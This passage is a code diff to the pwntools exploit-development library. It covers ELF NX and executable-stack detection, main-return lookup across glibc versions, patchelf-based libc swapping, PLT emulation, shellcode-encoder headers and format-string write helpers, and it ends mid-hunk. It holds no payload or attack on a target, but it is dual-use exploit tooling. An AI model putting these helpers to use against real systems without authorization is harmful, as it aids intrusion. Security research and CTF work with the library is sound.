-        exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
-        if len(exit_calls) != 1:
-            return 0
 
-        call_to_main = calls[exit_calls[0] - 1]
-        return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
-        return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
-        return return_from_main
+        lines = self.functions['__libc_start_main'].disasm().split('\n')
+        exit_addr = hex(self.symbols['exit'])
+        calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
+
+        def find_ret_main_addr(lines, calls):
+            exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
+            if len(exit_calls) != 1:
+                return 0
+
+            call_to_main = calls[exit_calls[0] - 1]
+            return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
+            return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
+            return return_from_main
+
+        # Starting with glibc-2.34 calling `main` is split out into `__libc_start_call_main`
+        ret_addr = find_ret_main_addr(lines, calls)
+        # Pre glibc-2.34 case - `main` is called directly
+        if ret_addr:
+            return ret_addr
+
+        # `__libc_start_main` -> `__libc_start_call_main` -> `main`
+        # Find a direct call which calls `exit` once. That's probably `__libc_start_call_main`.
+        direct_call_pattern = re.compile(r'['+r'|'.join(call_instructions)+r']\s+(0x[0-9a-zA-Z]+)')
+        for line in calls:
+            match = direct_call_pattern.search(line[1])
+            if not match:
+                continue
+
+            target_addr = int(match.group(1), 0)
+            # `__libc_start_call_main` is usually smaller than `__libc_start_main`, so
+            # we might disassemble a bit too much, but it's a good dynamic estimate.
+            callee_lines = self.disasm(target_addr, self.functions['__libc_start_main'].size).split('\n')
+            callee_calls = [(index, line) for index, line in enumerate(callee_lines) if set(line.split()) & call_instructions]
+            ret_addr = find_ret_main_addr(callee_lines, callee_calls)
+            if ret_addr:
+                return ret_addr
+        return 0
 
     def search(self, needle, writable = False, executable = False):
         """search(needle, writable = False, executable = False) -> generator
@@ -1129,7 +1155,7 @@ class ELF(ELFFile):
             won't work.
 
         Arguments:
-            needle(str): String to search for.
+            needle(bytes): String to search for.
             writable(bool): Search only writable sections.
             executable(bool): Search only executable sections.
 
@@ -1165,13 +1191,14 @@ class ELF(ELFFile):
             segments = self.executable_segments
         else:
             segments = self.segments
-
+        needle = packing._need_bytes(needle)
         for seg in segments:
             addr   = seg.header.p_vaddr
             memsz  = seg.header.p_memsz
-            zeroed = memsz - seg.header.p_filesz
+            filesz = seg.header.p_filesz
+            zeroed = memsz - filesz
             offset = seg.header.p_offset
-            data   = self.mmap[offset:offset+memsz]
+            data   = self.mmap[offset:offset+filesz]
             data   += b'\x00' * zeroed
             offset = 0
             while True:
@@ -1310,7 +1337,7 @@ class ELF(ELFFile):
             count(int): Number of bytes to read
 
         Returns:
-            A :class:`str` object, or :const:`None`.
+            A :class:`bytes` object, or :const:`None`.
 
         Examples:
             The simplest example is just to read the ELF header.
@@ -1471,7 +1498,7 @@ class ELF(ELFFile):
 
     @property
     def data(self):
-        """:class:`str`: Raw data of the ELF file.
+        """:class:`bytes`: Raw data of the ELF file.
 
         See:
             :meth:`get_data`
@@ -1499,7 +1526,7 @@ class ELF(ELFFile):
         This modifies the ELF in-place.
         The resulting binary can be saved with :meth:`.ELF.save`
         """
-        binary = asm(assembly, vma=address)
+        binary = asm(assembly, vma=address, arch=self.arch, endian=self.endian, bits=self.bits)
         self.write(address, binary)
 
     def bss(self, offset=0):
@@ -1617,7 +1644,7 @@ class ELF(ELFFile):
         .. _page 81: https://refspecs.linuxbase.org/elf/elf.pdf#page=81
         .. _DT_BIND_NOW: https://refspecs.linuxbase.org/elf/elf.pdf#page=81
         .. _PT_GNU_RELRO: https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic.html#PROGHEADER
-        .. _DF_BIND_NOW: http://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#df_bind_now
+        .. _DF_BIND_NOW: https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#df_bind_now
 
         >>> path = pwnlib.data.elf.relro.path
         >>> for test in glob(os.path.join(path, 'test-*')):
@@ -1649,61 +1676,244 @@ class ELF(ELFFile):
         Specifically, we are checking for ``READ_IMPLIES_EXEC`` being set
         by the kernel, as a result of honoring ``PT_GNU_STACK`` in the kernel.
 
-        The **Linux kernel** directly honors ``PT_GNU_STACK`` to `mark the
-        stack as executable.`__
+        ``READ_IMPLIES_EXEC`` is set, according to a set of architecture specific
+        rules, that depend on the CPU features, and the presence of ``PT_GNU_STACK``.
 
-        .. __: https://github.com/torvalds/linux/blob/v4.9/fs/binfmt_elf.c#L784-L789
+        Unfortunately, :class:`ELF` is not context-aware, so it's not always possible
+        to determine whether the process of a binary that's missing ``PT_GNU_STACK``
+        will have NX or not.
+        
+        The rules are as follows:
+
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | ELF arch  | linux        | GNU_STACK                 | other                                          | NX       |
+            +===========+==============+===========================+================================================+==========+
+            | i386      | < 5.8        | non-exec                  |                                                | enabled  |
+            |           | [#x86_5.7]_  +---------------------------+------------------------------------------------+----------+
+            |           |              | exec / missing            |                                                | disabled |
+            |           +--------------+---------------------------+------------------------------------------------+----------+
+            |           | >= 5.8       | exec / non-exec           |                                                | enabled  |
+            |           | [#x86_5.8]_  +---------------------------+------------------------------------------------+----------+
+            |           |              | missing                   |                                                | disabled |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | amd64     | < 5.8        | non-exec                  |                                                | enabled  |
+            |           | [#x86_5.7]_  +---------------------------+------------------------------------------------+----------+
+            |           |              | exec / missing            |                                                | disabled |
+            |           +--------------+---------------------------+------------------------------------------------+----------+
+            |           | >= 5.8       | exec / non-exec / missing |                                                | enabled  |
+            |           | [#x86_5.8]_  |                           |                                                |          |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | arm       | < 5.8        | non-exec*                 |                                                | enabled  |
+            |           | [#arm_5.7]_  +---------------------------+------------------------------------------------+----------+
+            |           |              | exec / missing            |                                                | disabled |
+            |           +--------------+---------------------------+------------------------------------------------+----------+
+            |           | >= 5.8       | exec / non-exec*          |                                                | enabled  |
+            |           | [#arm_5.8]_  +---------------------------+------------------------------------------------+----------+
+            |           |              | missing                   |                                                | disabled |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | mips      | < 5.18       | non-exec*                 |                                                | enabled  |
+            |           | [#mips_5.17]_+---------------------------+------------------------------------------------+----------+
+            |           |              | exec / missing            |                                                | disabled |
+            |           +--------------+---------------------------+------------------------------------------------+----------+
+            |           | >= 5.18      | exec / non-exec*          |                                                | enabled  |
+            |           | [#mips_5.18]_+---------------------------+------------------------------------------------+----------+
+            |           |              | missing                   |                                                | disabled |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | powerpc   | [#powerpc]_  | non-exec / exec           |                                                | enabled  |
+            |           |              +---------------------------+------------------------------------------------+----------+
+            |           |              | missing                   |                                                | disabled |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | powerpc64 | [#powerpc]_  | exec / non-exec / missing |                                                | enabled  |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | ia64      | [#ia64]_     | non-exec                  |                                                | enabled  |
+            |           |              +---------------------------+------------------------------------------------+----------+
+            |           |              | exec / missing            | e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK == 0 | enabled  |
+            |           |              +                           +------------------------------------------------+----------+
+            |           |              |                           | e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK != 0 | disabled |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+            | the rest  | [#the_rest]_ | exec / non-exec / missing |                                                | enabled  |
+            +-----------+--------------+---------------------------+------------------------------------------------+----------+
+
+            \\* Hardware limitations are ignored.
+
+        If ``READ_IMPLIES_EXEC`` is set, then `all readable pages are executable`__.
+            .. __: https://github.com/torvalds/linux/blob/v6.3/fs/binfmt_elf.c#L1008-L1009
+            .. code-block:: c
+
+                if (elf_read_implies_exec(loc->elf_ex, executable_stack))
+                    current->personality |= READ_IMPLIES_EXEC;
+
+        .. [#x86_5.7]
+            `source <https://github.com/torvalds/linux/blob/v5.7/arch/x86/include/asm/elf.h#L285-L286>`__
+
+            .. code-block:: c
+
+                #define elf_read_implies_exec(ex, executable_stack)	\\
+                    (executable_stack != EXSTACK_DISABLE_X)
+
+        .. [#x86_5.8]
+            `source <https://github.com/torvalds/linux/blob/v5.8/arch/x86/include/asm/elf.h#L305-L306>`__
+
+            .. code-block:: c
+
+                #define elf_read_implies_exec(ex, executable_stack)	\\
+                    (mmap_is_ia32() && executable_stack == EXSTACK_DEFAULT)
+
+            `mmap_is_ia32()`__:
+                .. __: https://github.com/torvalds/linux/blob/v5.8/arch/x86/include/asm/elf.h#L318-L321
+                .. code-block:: c
+
+                    /*
+                     * True on X86_32 or when emulating IA32 on X86_64
+                     */
+                    static inline int mmap_is_ia32(void)
+
+        .. [#arm_5.7]
+            `source <https://github.com/torvalds/linux/blob/v5.7/arch/arm/kernel/elf.c#L85-L92>`__
+
+            .. code-block:: c
+
+                int arm_elf_read_implies_exec(int executable_stack)
+                {
+                    if (executable_stack != EXSTACK_DISABLE_X)
+                        return 1;
+                    if (cpu_architecture() < CPU_ARCH_ARMv6)
+                        return 1;
+                    return 0;
+                }
+
+        .. [#arm_5.8]
+            `source <https://github.com/torvalds/linux/blob/v5.8/arch/arm/kernel/elf.c#L104-L111>`__
+
+            .. code-block:: c
+
+                int arm_elf_read_implies_exec(int executable_stack)
+                {
+                    if (executable_stack == EXSTACK_DEFAULT)
+                        return 1;
+                    if (cpu_architecture() < CPU_ARCH_ARMv6)
+                        return 1;
+                    return 0;
+                }
+
+        .. [#mips_5.17]
+            `source <https://github.com/torvalds/linux/blob/v5.17/arch/mips/kernel/elf.c#L329-L342>`__
+
+            .. code-block:: c
+
+                int mips_elf_read_implies_exec(void *elf_ex, int exstack)
+                {
+                    if (exstack != EXSTACK_DISABLE_X) {
+                        /* The binary doesn't request a non-executable stack */
+                        return 1;
+                    }
+                    if (!cpu_has_rixi) {
+                        /* The CPU doesn't support non-executable memory */
+                        return 1;
+                    }
+                    return 0;
+                }
+
+        .. [#mips_5.18]
+            `source <https://github.com/torvalds/linux/blob/v5.18/arch/mips/kernel/elf.c#L329-L336>`__
+
+            .. code-block:: c
+
+                int mips_elf_read_implies_exec(void *elf_ex, int exstack)
+                {
+                    /*
+                     * Set READ_IMPLIES_EXEC only on non-NX systems that
+                     * do not request a specific state via PT_GNU_STACK.
+                     */
+                    return (!cpu_has_rixi && exstack == EXSTACK_DEFAULT);
+                }
+
+        .. [#powerpc]
+            `source <https://github.com/torvalds/linux/blob/v6.3/arch/powerpc/include/asm/elf.h#L82-L108>`__
+
+            .. code-block:: c
+
+                #ifdef __powerpc64__
+                /* stripped */
+                # define elf_read_implies_exec(ex, exec_stk) (is_32bit_task() ? \\
+                        (exec_stk == EXSTACK_DEFAULT) : 0)
+                #else 
+                # define elf_read_implies_exec(ex, exec_stk) (exec_stk == EXSTACK_DEFAULT)
+                #endif /* __powerpc64__ */
+
+        .. [#ia64]
+            `source <https://github.com/torvalds/linux/blob/v6.3/arch/ia64/include/asm/elf.h#L203-L204>`__
+
+            .. code-block:: c
+
+                #define elf_read_implies_exec(ex, executable_stack)					\\
+                    ((executable_stack!=EXSTACK_DISABLE_X) && ((ex).e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK) != 0)
+
+            EF_IA_64_LINUX_EXECUTABLE_STACK__:
+                .. __: https://github.com/torvalds/linux/blob/v6.3/arch/ia64/include/asm/elf.h#L33
+
+                .. code-block:: c
+
+                    #define EF_IA_64_LINUX_EXECUTABLE_STACK	0x1	/* is stack (& heap) executable by default? */
+
+        .. [#the_rest]
+            `source <https://github.com/torvalds/linux/blob/v6.3/include/linux/elf.h#L13>`__
+
+            .. code-block:: c
+
+                # define elf_read_implies_exec(ex, have_pt_gnu_stack)	0
+        """
+        if not self.executable:
+            return True
+        
+        exec_bit = None
+        for seg in self.iter_segments_by_type('GNU_STACK'):
+            exec_bit = bool(seg.header.p_flags & P_FLAGS.PF_X)
+
+        non_exec = exec_bit is False
+        missing = exec_bit is None
+        EF_IA_64_LINUX_EXECUTABLE_STACK = 1
+
+        if self.arch in ['i386', 'arm', 'aarch64', 'mips', 'mips64']:
+            if non_exec:
+                return True
+            elif missing:
+                return False
+            return None
+        elif self.arch == 'amd64':
+            return True if non_exec else None
+        elif self.arch == 'powerpc':
+            return not missing
+        elif self.arch == 'powerpc64':
+            return True
+        elif self.arch == 'ia64':
+            if non_exec:
+                return True
+            return not bool(self['e_flags'] & EF_IA_64_LINUX_EXECUTABLE_STACK)
+
+        return True
+
+    @property
+    def execstack(self):
+        """:class:`bool`: Whether dynamically loading the current binary will make the stack executable.
+
+        This is based on the presence of a program header ``PT_GNU_STACK``,
+        its setting, and the default stack permissions for the architecture.
+
+        If ``PT_GNU_STACK`` is persent, the stack permissions are `set according to it`__:
+
+        .. __: https://github.com/bminor/glibc/blob/glibc-2.37/elf/dl-load.c#L1218-L1220
 
         .. code-block:: c
 
             case PT_GNU_STACK:
-                if (elf_ppnt->p_flags & PF_X)
-                    executable_stack = EXSTACK_ENABLE_X;
-                else
-                    executable_stack = EXSTACK_DISABLE_X;
-                break;
+              stack_flags = ph->p_flags;
+              break;
 
-        Additionally, it then sets ``read_implies_exec``, so that `all readable pages
-        are executable`__.
+        Else, the stack permissions are set according to the architecture defaults
+        as `defined by`__ ``DEFAULT_STACK_PERMS``:
 
-        .. __: https://github.com/torvalds/linux/blob/v4.9/fs/binfmt_elf.c#L849-L850
-
-        .. code-block:: c
-
-            if (elf_read_implies_exec(loc->elf_ex, executable_stack))
-                current->personality |= READ_IMPLIES_EXEC;
-        """
-        if not self.executable:
-            return True
-
-        for seg in self.iter_segments_by_type('GNU_STACK'):
-            return not bool(seg.header.p_flags & P_FLAGS.PF_X)
-
-        # If you NULL out the PT_GNU_STACK section via ELF.disable_nx(),
-        # everything is executable.
-        return False
-
-    @property
-    def execstack(self):
-        """:class:`bool`: Whether the current binary uses an executable stack.
-
-        This is based on the presence of a program header PT_GNU_STACK_
-        being present, and its setting.
-
-            ``PT_GNU_STACK``
-
-            The p_flags member specifies the permissions on the segment
-            containing the stack and is used to indicate whether the stack
-            should be executable. The absense of this header indicates
-            that the stack will be executable.
-
-        In particular, if the header is missing the stack is executable.
-        If the header is present, it may **explicitly** mark that the stack is
-        executable.
-
-        This is only somewhat accurate.  When using the GNU Linker, it usees
-        DEFAULT_STACK_PERMS_ to decide whether a lack of ``PT_GNU_STACK``
-        should mark the stack as executable:
+        .. __: https://github.com/bminor/glibc/blob/glibc-2.37/elf/dl-load.c#L1093-L1096
 
         .. code-block:: c
 
@@ -1718,29 +1928,25 @@ class ELF(ELFFile):
         ::
 
             $ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X
-            sysdeps/aarch64/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
-            sysdeps/nios2/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
-            sysdeps/tile/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
-
-        .. _PT_GNU_STACK: https://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/progheader.html
-        .. _DEFAULT_STACK_PERMS: https://github.com/bminor/glibc/blob/glibc-2.25/elf/dl-load.c#L1036-L1038
+            sysdeps/aarch64/stackinfo.h:    #define DEFAULT_STACK_PERMS (PF_R|PF_W)
+            sysdeps/arc/stackinfo.h:        #define DEFAULT_STACK_PERMS (PF_R|PF_W)
+            sysdeps/csky/stackinfo.h:       #define DEFAULT_STACK_PERMS (PF_R|PF_W)
+            sysdeps/ia64/stackinfo.h:       #define DEFAULT_STACK_PERMS (PF_R|PF_W)
+            sysdeps/loongarch/stackinfo.h:  #define DEFAULT_STACK_PERMS (PF_R | PF_W)
+            sysdeps/nios2/stackinfo.h:      #define DEFAULT_STACK_PERMS (PF_R|PF_W)
+            sysdeps/riscv/stackinfo.h:      #define DEFAULT_STACK_PERMS (PF_R | PF_W)
         """
-        # Dynamic objects do not have the ability to change the executable state of the stack.
         if not self.executable:
             return False
 
-        # If NX is completely off for the process, the stack is executable.
-        if not self.nx:
-            return True
-
+        # If the ``PT_GNU_STACK`` program header is preset, use it's premissions.
+        for seg in self.iter_segments_by_type('GNU_STACK'):
+            return bool(seg.header.p_flags & P_FLAGS.PF_X)
+        
         # If the ``PT_GNU_STACK`` program header is missing, then use the
-        # default rules.  Only AArch64 gets a non-executable stack by default.
-        for _ in self.iter_segments_by_type('GNU_STACK'):
-            break
-        else:
-            return self.arch != 'aarch64'
-
-        return False
+        # default rules. Out of the supported architectures, only AArch64,
+        # IA-64, and RISC-V get a non-executable stack by default.
+        return self.arch not in ['aarch64', 'ia64', 'riscv32', 'riscv64']
 
     @property
     def canary(self):
@@ -1753,7 +1959,7 @@ class ELF(ELFFile):
     @property
     def packed(self):
         """:class:`bool`: Whether the current binary is packed with UPX."""
-        return b'UPX!' in self.get_data()
+        return b'UPX!' in self.get_data()[:0xFF]
 
     @property
     def pie(self):
@@ -1815,6 +2021,7 @@ class ELF(ELFFile):
             "NX:".ljust(10) + {
                 True:  green("NX enabled"),
                 False: red("NX disabled"),
+                None: yellow("NX unknown - GNU_STACK missing"),
             }[self.nx],
             "PIE:".ljust(10) + {
                 True: green("PIE enabled"),
@@ -1823,7 +2030,7 @@ class ELF(ELFFile):
         ])
 
         # Execstack may be a thing, even with NX enabled, because of glibc
-        if self.execstack and self.nx:
+        if self.execstack and self.nx is not False:
             res.append("Stack:".ljust(10) + red("Executable"))
 
         # Are there any RWX areas in the binary?
@@ -1879,7 +2086,7 @@ class ELF(ELFFile):
 
     @property
     def buildid(self):
-        """:class:`str`: GNU Build ID embedded into the binary"""
+        """:class:`bytes`: GNU Build ID embedded into the binary"""
         section = self.get_section_by_name('.note.gnu.build-id')
         if section:
             return section.data()[16:]
@@ -2035,6 +2242,127 @@ class ELF(ELFFile):
             if self.mmap[offset:offset+4] == PT_GNU_STACK:
                 self.mmap[offset:offset+4] = b'\x00' * 4
                 self.save()
+                # Invalidate the cached segments, ``PT_GNU_STACK`` was removed.
+                self._segments = None
                 return
 
         log.error("Could not find PT_GNU_STACK, stack should already be executable")
+    
+    @staticmethod
+    def set_runpath(exepath, runpath):
+        r"""set_runpath(str, str) -> ELF
+
+        Patches the RUNPATH of the ELF to the given path using the `patchelf utility <https://github.com/NixOS/patchelf>`_.
+
+        The dynamic loader will look for any needed shared libraries in the given path first,
+        before trying the system library paths. This is useful to run a binary with a different
+        libc binary.
+
+        Arguments:
+            exepath(str): Path to the binary to patch.
+            runpath(str): Path containing the needed libraries.
+
+        Returns:
+            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.
+
+        Example:
+
+            >>> tmpdir = tempfile.mkdtemp()
+            >>> ls_path = os.path.join(tmpdir, 'ls')
+            >>> _ = shutil.copy(which('ls'), ls_path)
+            >>> e = ELF.set_runpath(ls_path, './libs')
+            >>> e.runpath == b'./libs'
+            True
+        """
+        if not which('patchelf'):
+            log.error('"patchelf" tool not installed. See https://github.com/NixOS/patchelf')
+            return None
+        try:
+            subprocess.check_output(['patchelf', '--set-rpath', runpath, exepath], stderr=subprocess.STDOUT)
+        except subprocess.CalledProcessError as e:
+            log.failure('Patching RUNPATH failed (%d): %r', e.returncode, e.stdout)
+        return ELF(exepath, checksec=False)
+
+    @staticmethod
+    def set_interpreter(exepath, interpreter_path):
+        r"""set_interpreter(str, str) -> ELF
+
+        Patches the interpreter of the ELF to the given binary using the `patchelf utility <https://github.com/NixOS/patchelf>`_.
+
+        When running the binary, the new interpreter will be used to load the ELF.
+
+        Arguments:
+            exepath(str): Path to the binary to patch.
+            interpreter_path(str): Path to the ld.so dynamic loader.
+
+        Returns:
+            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.
+
+        Example:
+            >>> tmpdir = tempfile.mkdtemp()
+            >>> ls_path = os.path.join(tmpdir, 'ls')
+            >>> _ = shutil.copy(which('ls'), ls_path)
+            >>> e = ELF.set_interpreter(ls_path, '/tmp/correct_ld.so')
+            >>> e.linker == b'/tmp/correct_ld.so'
+            True
+        """
+        # patch the interpreter
+        if not which('patchelf'):
+            log.error('"patchelf" tool not installed. See https://github.com/NixOS/patchelf')
+            return None
+        try:
+            subprocess.check_output(['patchelf', '--set-interpreter', interpreter_path, exepath], stderr=subprocess.STDOUT)
+        except subprocess.CalledProcessError as e:
+            log.failure('Patching interpreter failed (%d): %r', e.returncode, e.stdout)
+        return ELF(exepath, checksec=False)
+
+    @staticmethod
+    def patch_custom_libraries(exe_path, custom_library_path, create_copy=True, suffix='_remotelibc'):
+        r"""patch_custom_libraries(str, str, bool, str) -> ELF
+
+        Looks for the interpreter binary in the given path and patches the binary to use
+        it if available. Also patches the RUNPATH to the given path using the `patchelf utility <https://github.com/NixOS/patchelf>`_.
+
+        Arguments:
+            exe_path(str): Path to the binary to patch.
+            custom_library_path(str): Path to a folder containing the libraries.
+            create_copy(bool): Create a copy of the binary and apply the patches to the copy.
+            suffix(str): Suffix to append to the filename when creating the copy to patch.
+
+        Returns:
+            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.
+
+        Example:
+
+            >>> tmpdir = tempfile.mkdtemp()
+            >>> linker_path = os.path.join(tmpdir, 'ld-mock.so')
+            >>> write(linker_path, b'loader')
+            >>> ls_path = os.path.join(tmpdir, 'ls')
+            >>> _ = shutil.copy(which('ls'), ls_path)
+            >>> e = ELF.patch_custom_libraries(ls_path, tmpdir)
+            >>> e.runpath.decode() == tmpdir
+            True
+            >>> e.linker.decode() == linker_path
+            True
+        """
+        if not which('patchelf'):
+            log.error('"patchelf" tool not installed. See https://github.com/NixOS/patchelf')
+            return None
+        
+        # Create a copy of the ELF to patch instead of the original file.
+        if create_copy:
+            import shutil
+            patched_path = exe_path + suffix
+            shutil.copy2(exe_path, patched_path)
+            exe_path = patched_path
+
+        # Set interpreter in ELF to the one in the library path.
+        interpreter_name = [filename for filename in os.listdir(custom_library_path) if filename.startswith('ld-')]
+        if interpreter_name:
+            interpreter_path = os.path.realpath(os.path.join(custom_library_path, interpreter_name[0]))
+            ELF.set_interpreter(exe_path, interpreter_path)
+        else:
+            log.warn("Couldn't find ld.so in library path. Interpreter not set.")
+
+        # Set RUNPATH to library path in order to find other libraries.
+        return ELF.set_runpath(exe_path, custom_library_path)

pwnlib/elf/plt.py

@@ -64,8 +64,11 @@ def prepare_unicorn_and_context(elf, got, address, data):
         'arm': U.UC_ARCH_ARM,
         'i386': U.UC_ARCH_X86,
         'mips': U.UC_ARCH_MIPS,
+        'mips64': U.UC_ARCH_MIPS,
         # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported
         'thumb': U.UC_ARCH_ARM,
+        'riscv32': U.UC_ARCH_RISCV,
+        'riscv64': U.UC_ARCH_RISCV,
     }.get(elf.arch, None)
 
     if arch is None:
@@ -119,18 +122,6 @@ def prepare_unicorn_and_context(elf, got, address, data):
 
         uc.mem_write(got, p_magic)
 
-        # Separately, Unicorn is apparently unable to hook unmapped memory
-        # accesses on MIPS.  So we also have to map the page that contains
-        # the magic address.
-        start = magic_addr & (~0xfff)
-        try:
-            uc.mem_map(start, 0x1000)
-        except Exception:
-            # Ignore double-mapping
-            pass
-        trap = packing.p32(0x34000000, endian=elf.endian)
-        uc.mem_write(magic_addr, trap)
-
     return uc, uc.context_save()
 
 

pwnlib/encoders/arm/alphanumeric/ARM_Instructions.py

@@ -1,3 +1,5 @@
+# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria
+# Ported to Python by Gallopsled
 from __future__ import division
 
 # +------------------------------------------------------------------------+ 

pwnlib/encoders/arm/alphanumeric/__init__.py

@@ -1,3 +1,5 @@
+# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria
+# Ported to Python by Gallopsled
 from __future__ import absolute_import
 from __future__ import division
 

pwnlib/encoders/arm/alphanumeric/alphanum_byte.py

@@ -1,3 +1,5 @@
+# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria
+# Ported to Python by Gallopsled
 from __future__ import division
 from __future__ import absolute_import
 

pwnlib/encoders/arm/alphanumeric/builder.py

@@ -1,3 +1,5 @@
+# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria
+# Ported to Python by Gallopsled
 from __future__ import absolute_import
 from __future__ import division
 

pwnlib/encoders/arm/alphanumeric/random_funcs.py

@@ -1,3 +1,5 @@
+# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria
+# Ported to Python by Gallopsled
 from __future__ import division
 
 import os

pwnlib/encoders/i386/ascii_shellcode.py

@@ -21,10 +21,10 @@ class AsciiShellcodeEncoder(Encoder):
     executes (on the stack)
 
     The original paper this encoder is based on:
-    http://julianor.tripod.com/bc/bypass-msb.txt
+    https://julianor.tripod.com/bc/bypass-msb.txt
 
     A more visual explanation as well as an implementation in C:
-    https://github.com/VincentDary/PolyAsciiShellGen/blob/master/README.md#mechanism
+    https://vincentdary.github.io/blog-posts/polyasciishellgen-caezar-ascii-shellcode-generator/index.html#22-mechanism
     """
 
     def __init__(self, slop=20, max_subs=4):

pwnlib/filepointer.py

@@ -125,7 +125,7 @@ class FileStructure(object):
         >>> len(fileStr)
         224
 
-        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
+        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
 
         >>> q=FileStructure(0xdeadbeef)
         >>> q
@@ -176,24 +176,20 @@ class FileStructure(object):
     def __repr__(self):
         structure=[]
         for i in self.vars_:
-            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
+            structure.append(" %s: %#x" % (i, getattr(self, i)))
         return "{"+ "\n".join(structure)+"}"
 
-    def __getattr__(self,item):
-        if item in FileStructure.__dict__ or item in self.vars_:
-            return object.__getattribute__(self,item)
-        log.error("Unknown variable %r" % item)
-
     def __len__(self):
         return len(bytes(self))
 
     def __bytes__(self):
         structure = b''
         for val in self.vars_:
-            if isinstance(self.__getattr__(val), bytes):
-                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
+            if isinstance(getattr(self, val), bytes):
+                structure += getattr(self, val).ljust(context.bytes, b'\x00')
             else:
-                structure += pack(self.__getattr__(val), self.length[val]*8)
+                if self.length[val] > 0:
+                    structure += pack(getattr(self, val), self.length[val]*8)
         return structure
 
     def struntil(self,v):
@@ -218,10 +214,10 @@ class FileStructure(object):
             return b''
         structure = b''
         for val in self.vars_:
-            if isinstance(self.__getattr__(val), bytes):
-                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
+            if isinstance(getattr(self, val), bytes):
+                structure += getattr(self, val).ljust(context.bytes, b'\x00')
             else:
-                structure += pack(self.__getattr__(val), self.length[val]*8)
+                structure += pack(getattr(self, val), self.length[val]*8)
             if val == v:
                 break
         return structure[:-1]
@@ -313,7 +309,7 @@ class FileStructure(object):
 
     def orange(self,io_list_all,vtable):
         r"""
-        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
+        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks.
 
         Arguments:
             io_list_all(int)

pwnlib/fmtstr.py

@@ -285,9 +285,15 @@ def make_atoms_simple(address, data, badbytes=frozenset()):
 
     This function is simple and does not try to minimize the number of atoms. For example, if there are no
     bad bytes, it simply returns one atom for each byte:
-
-    >>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
-    [AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1, integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
+        >>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
+        [AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1, integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
+    
+    If there are bad bytes, it will try to bypass by skipping addresses containing bad bytes, otherwise a
+    RuntimeError will be raised:
+        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'abc', b'\x62')
+        [AtomWrite(start=97, size=2, integer=0x6261, mask=0xffff), AtomWrite(start=99, size=1, integer=0x63, mask=0xff)]
+        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'a'*0x10, b'\x62\x63\x64\x65\x66\x67\x68')
+        [AtomWrite(start=97, size=8, integer=0x6161616161616161, mask=0xffffffffffffffff), AtomWrite(start=105, size=1, integer=0x61, mask=0xff), AtomWrite(start=106, size=1, integer=0x61, mask=0xff), AtomWrite(start=107, size=1, integer=0x61, mask=0xff), AtomWrite(start=108, size=1, integer=0x61, mask=0xff), AtomWrite(start=109, size=1, integer=0x61, mask=0xff), AtomWrite(start=110, size=1, integer=0x61, mask=0xff), AtomWrite(start=111, size=1, integer=0x61, mask=0xff), AtomWrite(start=112, size=1, integer=0x61, mask=0xff)]
     """
     data = bytearray(data)
     if not badbytes:
@@ -298,14 +304,15 @@ def make_atoms_simple(address, data, badbytes=frozenset()):
 
     i = 0
     out = []
+    end = address + len(data)
     while i < len(data):
         candidate = AtomWrite(address + i, 1, data[i])
-        while candidate.end < len(data) and any(x in badbytes for x in pack(candidate.end)):
+        while candidate.end < end and any(x in badbytes for x in pack(candidate.end)):
